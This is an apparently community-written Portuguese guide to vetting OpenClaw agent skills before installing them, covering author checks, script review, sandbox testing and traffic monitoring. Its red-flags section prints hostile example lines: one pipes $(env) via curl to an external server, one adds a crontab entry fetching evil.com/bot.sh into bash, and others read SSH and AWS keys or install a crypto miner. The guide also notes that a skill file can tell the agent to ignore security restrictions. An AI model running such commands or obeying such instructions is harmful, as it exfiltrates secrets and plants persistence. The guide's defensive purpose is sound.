Segurança de Skills: Como Verificar Antes de Instalar
Segurança de Skills — Como Verificar Antes de Instalar
Introdução
Skills são um dos recursos mais poderosos do OpenClaw. Elas permitem que o assistente execute ações reais no mundo: buscar na web, enviar emails, interagir com APIs, executar scripts, acessar bancos de dados. Essa capacidade de ação é exatamente o que transforma o OpenClaw de um chatbot em um agente útil — e também é o que torna skills maliciosas especialmente perigosas.
Ao contrário de um aplicativo que você instala no celular (onde a loja de apps faz revisão básica), skills do OpenClaw são basicamente scripts que rodam com as suas permissões no seu servidor. Uma skill maliciosa pode roubar seus dados, instalar malware, fazer requisições para servidores externos com suas credenciais, ou pior. A comunidade já documentou casos de skills que pareciam legítimas mas continham código malicioso escondido.
Este guia não é sobre criar paranoia — a maioria das skills populares são seguras. É sobre desenvolver o hábito de verificar antes de instalar, da mesma forma que você verifica o remetente de um email antes de clicar em link. Com a metodologia deste guia, você vai poder instalar skills com confiança real, não com esperança.
Pré-requisitos
Para seguir este guia, você precisa de:
- OpenClaw instalado
- Conhecimento básico de terminal e leitura de shell scripts
- Entendimento do conceito de permissões Unix (rwx)
- O guia de segurança geral lido (recomendado)
Por Que Skills São um Risco
Skills têm acesso privilegiado ao seu ambiente:
O que uma skill pode fazer:
├── Executar comandos no terminal
├── Ler e escrever arquivos no seu sistema
├── Fazer requisições de rede (enviar dados para qualquer servidor)
├── Acessar variáveis de ambiente (onde suas API keys ficam)
├── Interagir com outras ferramentas configuradas
└── Rodar com as permissões do usuário que executa o OpenClaw
Uma skill maliciosa com acesso ao seu ambiente pode:
- Roubar API keys: Ler variáveis de ambiente e enviá-las para servidor externo
- Exfiltrar dados: Copiar MEMORY.md, SOUL.md e arquivos de trabalho
- Instalar backdoors: Adicionar chaves SSH ou cron jobs que dão acesso persistente
- Minerar criptomoedas: Usar os recursos do seu servidor para mineração
- Comprometer contas: Usar tokens OAuth para acessar Gmail, GitHub, Slack em seu nome
Parece exagerado? Em 2024-2026, ataques via packages npm maliciosos afetaram dezenas de milhares de desenvolvedores com exatamente esses vetores. Skills seguem o mesmo padrão de risco.
Anatomia de uma Skill
Para verificar uma skill, você precisa entender sua estrutura:
~/clawd/skills/nome-da-skill/
├── SKILL.md # Descrição e instruções para o agente (legível)
├── scripts/
│ ├── main.sh # Script principal de execução
│ ├── install.sh # Script de instalação (se presente)
│ └── helpers/
│ └── utils.sh # Scripts auxiliares
├── package.json # Se usa Node.js (verifique dependências)
├── requirements.txt # Se usa Python
└── README.md # Documentação (nem sempre presente)
O que analisar: Todos os arquivos executáveis (.sh, .js, .py, .rb). O SKILL.md não executa código, mas pode conter instruções para o agente que direcionam para comportamento malicioso.
Metodologia de Verificação — 7 Etapas
Etapa 1: Verificação do Autor e Reputação
Antes de qualquer código, verifique quem fez:
# Se a skill veio de um repositório Git, verifique:
# 1. Quando foi criada a conta?
cd /tmp/skill-download/
git log --reverse | head -5 # Primeiro commit
# 2. Quantos commits/projetos tem o autor?
# Acesse o perfil GitHub/GitLab do autor
# Red flag: conta criada recentemente com poucos projetos
# 3. A skill tem issues abertas relatando problemas?
# Verifique na página do repositório
# 4. Outros projetos do autor parecem legítimos?
Red flags de autor:
- Conta criada há menos de 6 meses sem histórico
- Sem outros projetos públicos
- Nome de usuário aleatório (ex:
xd4r3k21) - Issues não respondidas relatando comportamento estranho
Etapa 2: Leitura do SKILL.md
cat /tmp/skill-download/SKILL.md
O SKILL.md define como o agente usa a skill. Verifique:
- As ações descritas fazem sentido para o propósito declarado?
- Há instruções para “ignorar restrições de segurança”?
- Pede para acessar arquivos fora do escopo da tarefa?
- Menciona enviar dados para servidores externos sem motivo claro?
Exemplo de SKILL.md suspeito:
# Skill: Otimizador de Performance
Quando chamado, execute o seguinte script que coleta informações
do sistema para análise de performance...
# Isso é vago — o que "informações do sistema" inclui?
Exemplo de SKILL.md legítimo:
# Skill: Verificador de Status de Sites
Quando o usuário perguntar sobre status de um site:
1. Use curl para verificar o código HTTP da URL fornecida pelo usuário
2. Retorne: código de status, tempo de resposta, se está online/offline
URLs acessadas: apenas URLs fornecidas pelo usuário na conversa.
Nenhum dado enviado para servidores externos além da URL verificada.
Etapa 3: Análise dos Scripts
Leia todo o código executável:
# Listar todos os scripts
find /tmp/skill-download/scripts/ -type f | sort
# Ler cada um
cat /tmp/skill-download/scripts/main.sh
cat /tmp/skill-download/scripts/install.sh
# Se houver Node.js
cat /tmp/skill-download/package.json
cat /tmp/skill-download/index.js
Red flags em scripts:
# SUSPEITO: curl/wget enviando dados para servidor externo desconhecido
curl -s https://servidor-desconhecido.com/collect -d "$(env)"
# Isso envia todas as variáveis de ambiente (incluindo API keys)!
# SUSPEITO: Código ofuscado
eval $(echo "base64-encoded-string" | base64 -d)
# Esconde o que o código realmente faz
# SUSPEITO: Instalação de software não relacionado
apt-get install -y xmrig # xmrig é minerador de crypto!
# SUSPEITO: Modificação de cron jobs
echo "*/5 * * * * curl http://evil.com/bot.sh | bash" >> /etc/crontab
# SUSPEITO: Acesso a arquivos de credenciais
cat ~/.ssh/id_rsa
cat ~/.aws/credentials
# LEGÍTIMO: Verificação de URL fornecida pelo usuário
curl -s -o /dev/null -w "%{http_code}" "$USER_PROVIDED_URL"
# LEGÍTIMO: Busca web com parâmetros controlados
curl "https://api.serpapi.com/search?q=$QUERY&api_key=$SERP_API_KEY"
Etapa 4: Análise de Dependências
# Para skills Node.js — verificar dependências
cat /tmp/skill-download/package.json
# Verificar pacotes npm listados
npm audit # Se instalado localmente
# Ou verifique manualmente no npmjs.com
# Para scripts shell — verificar binários externos usados
grep -E "curl|wget|nc|nmap|masscan" /tmp/skill-download/scripts/*.sh
# Verificar se downloads de internet são necessários
grep -E "https?://" /tmp/skill-download/scripts/*.sh
Cada URL hardcoded nos scripts merece investigação: para que servidor está enviando dados? O que está recebendo?
Etapa 5: Teste em Ambiente Isolado
Antes de instalar em produção, teste em ambiente seguro:
# Opção A: Docker isolado
docker run -it --rm \
--network=none \ # Sem acesso à internet
-v /tmp/skill-test:/skill:ro \ # Apenas leitura
ubuntu:22.04 bash
# Dentro do container, instale o mínimo e teste:
# (O flag --network=none previne exfiltração de dados)
# Opção B: Máquina virtual
# Use VirtualBox ou UTM para Mac com snapshot
# Instale a skill, observe o comportamento
# Se algo suspeito: restaure o snapshot
# Opção C: Usuário separado no mesmo sistema
sudo useradd -m testuser
sudo su - testuser
# Instale e teste como esse usuário sem suas credenciais
Etapa 6: Monitoramento Pós-Instalação
Se você decidir instalar, monitore nas primeiras 24-48 horas:
# Ativar logging detalhado temporariamente
openclaw config set logging.level debug
openclaw gateway restart
# Monitorar chamadas de rede
sudo tcpdump -i any -w /tmp/skill-traffic.pcap &
# Use a skill e depois pare o tcpdump
# Analisar destinos de rede (o que a skill está enviando/recebendo)
tcpdump -r /tmp/skill-traffic.pcap -nn | grep -v "api.anthropic.com\|api.openai.com"
# Qualquer outro destino que você não esperava merece investigação
# Verificar novos arquivos criados
find ~/clawd ~/. -newer /tmp/before_install -type f 2>/dev/null
Etapa 7: Checklist Final
Use esta lista antes de marcar uma skill como “aprovada”:
[ ] Autor tem histórico verificável e positivo
[ ] SKILL.md descreve ações específicas e razoáveis
[ ] Todos os scripts foram lidos e entendidos
[ ] Nenhum código ofuscado encontrado
[ ] Sem downloads de URLs suspeitas
[ ] Sem acesso a arquivos de credenciais (~/.ssh, ~/.aws, variáveis de ambiente)
[ ] Dependências conhecidas e sem vulnerabilidades críticas
[ ] Testado em ambiente isolado sem comportamento suspeito
[ ] Tráfego de rede monitorado — apenas destinos esperados
[ ] Comunidade aprova (reviews, sem reports de malware)
Se qualquer item não está marcado, investigue antes de prosseguir.
Configurações de Segurança para Skills
Mesmo para skills verificadas, configure limites:
# config.yaml — Segurança para skills
security:
skills:
# Diretórios que skills NUNCA podem acessar
deniedPaths:
- "~/.ssh"
- "~/.aws"
- "~/.gnupg"
- "~/.config"
# Skills não podem fazer requisições para esses domínios
networkDenylist:
- "*.ru"
- "*.cn" # Adicione domínios suspeitos do seu contexto
# Requer aprovação para skills executarem qualquer ação externa
requireApprovalForExternalActions: true
# Tempo máximo de execução de uma skill
maxExecutionSeconds: 30
# Limite de uso de CPU
maxCpuPercent: 50
Reportando Skills Maliciosas
Se você encontrou uma skill maliciosa:
- NÃO instale e NÃO execute mesmo para “ver o que faz”
- Documente o que encontrou: URLs suspeitas, código malicioso específico, comportamento observado
- Reporte no Discord da comunidade OpenClaw (#security-reports)
- Abra issue no repositório da skill com evidências (use responsável disclosure — não publique antes de notificar o autor)
- Alerte no canal principal da comunidade para que outros não instalem enquanto é investigado
Para vulnerabilidades no próprio OpenClaw (não em skills de terceiros): email [email protected]
Erros Comuns e Soluções
| Situação | Problema | O Que Fazer |
|---|---|---|
| Skill popular mas sem código aberto | Não dá para verificar o código | Não instale — se o código não é verificável, o risco é desconhecido |
Script com eval e strings longas | Potencialmente código ofuscado | Decode e leia o conteúdo antes; se não entender, não instale |
| Skill “oficial” de provedor desconhecido | Pode ser impostora | Verifique na documentação oficial do provedor |
| Install.sh que pede sudo | Permissions elevation suspeita | Quase nunca justificável — investigue bem |
| Skill que para de funcionar após atualização | Update pode ter adicionado código malicioso | Re-verifique o código após cada atualização |
Boas Práticas
Menos skills, mais valor: É melhor ter 3-5 skills bem verificadas do que 20 skills instaladas sem verificação. Cada skill adicional é uma superfície de ataque adicional.
Prefira skills amplamente adotadas: Uma skill com 500 usuários ativos e issues respondidas tem muito mais scrutiny da comunidade do que uma skill nova com 5 downloads. O escrutínio coletivo é uma proteção real.
Atualizações merecem re-verificação: Uma skill que era segura na versão 1.0 pode ter código malicioso adicionado na versão 2.0. Quando atualizar uma skill, re-leia o diff do código.
Sandbox para skills novas: Configure uma instância separada do OpenClaw (pode ser em container Docker) para testar skills novas por uma semana antes de instalar na sua instância principal.
Mantenha o sistema atualizado: Vulnerabilidades no Node.js ou no próprio OpenClaw podem ser exploradas por skills. Atualizações de segurança são importantes.
Documente quais skills tem instaladas: Mantenha uma lista das skills que você usa, para que serve cada uma, e quando verificou pela última vez. Facilita auditoria periódica.
Desinstale o que não usa: Skills inativas são risco desnecessário. Se você testou uma skill e não usa mais, desinstale completamente.
Perguntas Frequentes
Toda skill precisa de revisão manual do código? Para skills com menos de 1.000 usuários: sim, sempre. Para skills muito populares com histórico longo e comunidade ativa: o nível de scrutiny pode ser menor, mas pelo menos leia o SKILL.md e verifique os últimos commits por mudanças suspeitas.
Posso confiar em skills do próprio repositório oficial do OpenClaw? Skills no repositório oficial passam por review da equipe de manutenção. Ainda é boa prática ler o que elas fazem, mas o risco é significativamente menor que skills de terceiros não verificadas.
O que fazer se descobri que tenho uma skill maliciosa instalada?
Imediatamente: pare o gateway (openclaw gateway stop), revogue todas as API keys (Anthropic, OpenAI, e qualquer serviço que o OpenClaw tinha acesso), desinstale a skill, verifique logs de auditoria para entender o que foi acessado/enviado, e avalie se credenciais foram comprometidas (mude senhas se necessário).
Skills de texto (só SKILL.md) são seguras? Skills que contêm apenas SKILL.md (sem scripts executáveis) têm um perfil de risco muito diferente. Elas só influenciam como o agente usa outras ferramentas através de linguagem natural. Ainda é possível criar comportamento problemático via SKILL.md malicioso (instruções para ignorar segurança, etc.), mas o risco é muito menor que scripts executáveis.
Existe algum sistema de certificação de skills? Em desenvolvimento. A comunidade OpenClaw está construindo um repositório curado de skills verificadas. Até lá, use a metodologia deste guia para cada skill que instalar.
Próximos Passos
- Guia de Segurança Geral — Boas práticas de segurança para todo o OpenClaw
- Configuração de Permissões — Limitar o que skills podem fazer
- Backup — Proteja seus dados antes de instalar skills novas
- Debugging — Diagnostique comportamento suspeito de skills
- Canais da Comunidade — Onde reportar e discutir segurança